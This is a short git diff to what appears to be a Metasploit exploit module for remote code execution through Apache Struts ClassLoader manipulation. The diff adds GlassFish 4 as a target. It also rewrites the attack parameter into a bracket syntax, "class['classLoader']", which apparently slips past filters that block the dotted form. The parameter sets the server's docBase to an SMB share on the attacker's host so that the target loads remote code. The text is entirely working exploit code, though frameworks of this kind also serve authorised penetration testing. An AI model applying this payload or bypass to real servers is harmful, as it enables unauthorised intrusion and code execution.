diff --git a/modules/exploits/multi/http/struts_code_exec_classloader.rb b/modules/exploits/multi/http/struts_code_exec_classloader.rb index 0cc50bebb5..17c1bb2126 100644 --- a/modules/exploits/multi/http/struts_code_exec_classloader.rb +++ b/modules/exploits/multi/http/struts_code_exec_classloader.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win' } ], - ['Windows / Tomcat 6 & 7 (Remote SMB Resource)', + ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' @@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote 'version' => '1.1', 'method' => 'GET', 'vars_get' => { - 'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}" + 'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}" } }) end